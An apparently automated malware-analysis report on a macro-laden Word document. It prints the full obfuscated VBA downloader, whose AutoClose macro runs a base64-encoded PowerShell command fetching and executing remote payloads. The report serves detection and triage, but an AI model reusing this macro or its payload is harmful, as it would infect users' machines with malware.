Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f6546f3a9fb40374…

MALICIOUS

Office (OOXML)

65.9 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-09-30
MD5: b06572a6b4f3261b6cf355225b7d139c SHA-1: 7873067b2442d577078d6bba33838e750dd422ef SHA-256: f6546f3a9fb403743f9ab72ed5c8e9cc63f26bc65f4fbd7139e4adbb12e854b8
292 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious OOXML document containing VBA macros. The AutoClose macro utilizes WScript.Shell to execute a function that downloads a payload from the hardcoded URL 'http://torskitsadnewpppoan'. This indicates a downloader functionality, aiming to fetch and execute further malicious content.

Heuristics 8

  • ClamAV: Doc.Downloader.Powload-6707242-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6707242-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
         If openness - gallup > 1 Then
       CreateObject("WScript.Shell").Run monophonically, 0
       retestified = False
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
         If openness - gallup > 1 Then
       CreateObject("WScript.Shell").Run monophonically, 0
       retestified = False
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  hyaloplasma = Array("a", "M", "y", "v", "Y", "w", "Z", "N", "a", "n", "5", "N", "n", "D", "E", "y", "E", "p", "E", "Z", "E", "", "E", "Y", "E", "3", "E", "Z", "E", "k", "E", "k", "E", "S", "E", "Z", "E", "e", "E", "Z", "E", "n", "h", "9", "y", "I", "e", "s", "x", "n", "h", "I", "e", "Z", "N", "n", "6", "Q", "w", "V", "F", "F", "n", "h", "I", "M", "n")
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3040 bytes
SHA-256: 1c986d4a141b5159c1093c5d23ecb372e52b7af5164f1a49dceccdfa84d04d5b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function thirstland(hyaloplasma)
  lobworms = Array("s", "3", "y", "x", "", "p", "V", "9", "I", "k", "v", "a", "w", "M", "6", "D", "h", "S", "Z", "F", "5", "Y", "e", "n", "E", "Q", "N")
  wheelies = Array("i", "h", "o", "t", "r", "w", "a", "N", "E", "l", "m", "%", "p", "C", "B", "P", "-", ".", "e", "s", "/", "S", "x", " ", "^", "y", "c")
  
  laurelling = vbNullString
  
  For Each stying In hyaloplasma
    sulphurean = pedocalcic(stying, lobworms, UBound(lobworms))
    If sulphurean > -1 Then
    laurelling = wheelies(sulphurean) & laurelling
    End If
  Next
  
  thirstland = StrReverse(laurelling)
  
End Function

Public Function pedocalcic(cardinal, extrapolations, antiprophet)
  harvey = 0
  squashier = -1
  For harvey = 0 To antiprophet
    If extrapolations(harvey) = cardinal Then
     squashier = harvey
    End If
  Next
  
  pedocalcic = squashier
End Function

Sub AutoClose()
  hyaloplasma = Array("a", "M", "y", "v", "Y", "w", "Z", "N", "a", "n", "5", "N", "n", "D", "E", "y", "E", "p", "E", "Z", "E", "", "E", "Y", "E", "3", "E", "Z", "E", "k", "E", "k", "E", "S", "E", "Z", "E", "e", "E", "Z", "E", "n", "h", "9", "y", "I", "e", "s", "x", "n", "h", "I", "e", "Z", "N", "n", "6", "Q", "w", "V", "F", "F", "n", "h", "I", "M", "n")
  phanerogamia = "IAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAHQAbwByAHMAawBpAHQAbgBhAHMAZABuAGUAdwBwAHAAcABvAGEAbgB5AC4AYwBvAG0ALwBTAFMALwBnAGUAcwBqAC4AdAB6AG0AJwAsACAAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAIAArACAAJwBcADcAMAAyADkAOAAxADkAMwA3AC4AZQB4AGUAJwApADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAJwBcADcAMAAyADkAOAAxADkAMwA3AC4AZQB4AGUAJwA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdABvAHIAcwBrAGkAdABuAGEAcwBkAG4AZQB3AHAAcABwAG8AYQBuAHkALgBjAG8AbQAvAHMALgBwAGgAcAA/AGkAZAA9AGcAZQBzAGoAJwApADsASQBFAFgAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwBnAGkAZAByAG8AbABvAGcAaQBrAGEALgByAHUALwBTAHQAYQB0AC4AYwBvAHUAbgB0ACcAKQApADsA"
  searobin = thirstland(hyaloplasma)
  
  Application.Run "unfairest", searobin + phanerogamia
  
End Sub


Private Sub unfairest(monophonically)
   
   gallup = DateDiff("s", #1/1/1970#, Now())
   retestified = True
   
   While retestified
     openness = DateDiff("s", #1/1/1970#, Now())
     If openness - gallup > 1 Then
       CreateObject("WScript.Shell").Run monophonically, 0
       retestified = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13312 bytes
SHA-256: fef5fd30702579d459024dcf936f1f827186e50db5138f86a02b356d6f13d91d
Detection
ClamAV: Doc.Downloader.Powload-6707242-0
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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